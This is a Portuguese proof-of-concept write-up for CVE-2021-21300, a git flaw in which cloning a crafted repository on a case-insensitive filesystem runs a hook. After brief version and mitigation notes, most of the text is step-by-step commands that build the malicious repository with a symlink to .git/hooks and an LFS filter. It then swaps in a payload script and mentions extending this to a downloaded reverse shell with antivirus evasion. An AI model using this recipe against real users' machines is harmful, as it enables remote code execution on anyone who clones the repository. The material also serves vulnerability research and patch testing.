
Exploit de prova de conceito para CVE-2021-21300, demonstrando execução remota de código via clonagem maliciosa de repositório git com abuso de links simbólicos e filtros em sistemas de arquivos que não diferenciam maiúsculas de minúsculas.
Em várias versões do git, o tratamento de links simbólicos não é rigoroso. Após fazer upload de arquivos para o git em um sistema de arquivos que diferencia maiúsculas de minúsculas (por exemplo, Linux), clonar um repositório malicioso em um host que usa um sistema de arquivos que não diferencia maiúsculas de minúsculas (por exemplo, Windows) pode levar à execução remota de comandos.
Da versão 2.15 até a atual 2.30.1
Atualizar a versão
Seguir abaixo
Desabilitar symlinks do git: git config --global core.symlinks false
Desabilitar o process filter (normalmente usado pelo LFS), pode ser verificado com git config --show-scope --get-regexp 'filter\..*\.process'
O repositório contém um link simbólico e um diretório com o mesmo nome
O link simbólico aponta para um diretório especial (atualmente parece ser .git/hooks)
A máquina vítima precisa ter permissões suficientes para executar comandos maliciosos
Sistema: ubuntux64
Necessita instalar git, git-lfs
Executar o comando git lfs install pode gerar erro
Error: Failed to call git rev-parse --git-dir: exit status 128
Pode ser ignorado
Quando aparecer Git LFS initialized., a instalação está completa.
Sistema: win10x64
git for window: Git-2.17.1-64-bit
(https://www.npackd.org/p/git64/2.17.1.2)
A instalação do git for window pode ser toda com as opções padrão.
Existem muitos tutoriais online, não vou repetir.
Execute os comandos abaixo:
$ git init
$ echo "A/post-checkout filter=lfs diff=lfs merge=lfs">.gitattributes &&
mkdir A &&
printf '#!/bin/sh\n\necho PWNED >&2\n'>A/post-checkout &&
chmod +x A/post-checkout &&
>A/a &&
>A/b &&
git add -A &&
rm -rf A &&
ln -s .git/hooks a &&
git add a &&
git commit -m initial
$ git branch -M main
$ git remote add origin [自己的仓库地址]
$ git push -u origin main
No PowerShell (Administrador) do Windows 10, execute o comando abaixo:
git clone -c core.symlinks=true [自己的仓库地址]
Após o clone, se aparecer PWNED, a execução remota de comandos foi bem-sucedida.
Pode-se ver que, durante o clone, o comando no arquivo post-checkout foi executado.
A ideia é usar IEX para baixar um script e, em seguida, ouvir com o Kali para obter um shell, mas a maioria dos scripts é detectada e bloqueada; contornar com técnicas de evasão de antivírus deve ser possível.
Adicionar um arquivo de script hack.sh no diretório
Conteúdo:
#!/bin/sh
#################
echo "script working..." &&
cd / &&
pwd &&
mkdir hack
cd hack &&
touch hacked &&
echo "you has been hacked">hacked &&
echo "done!"
Modificar o comando executado no post-checkout para executar o script
printf '#!/bin/sh\n\necho PWNED\n\n./hack.sh >&2\n'>A/post-checkout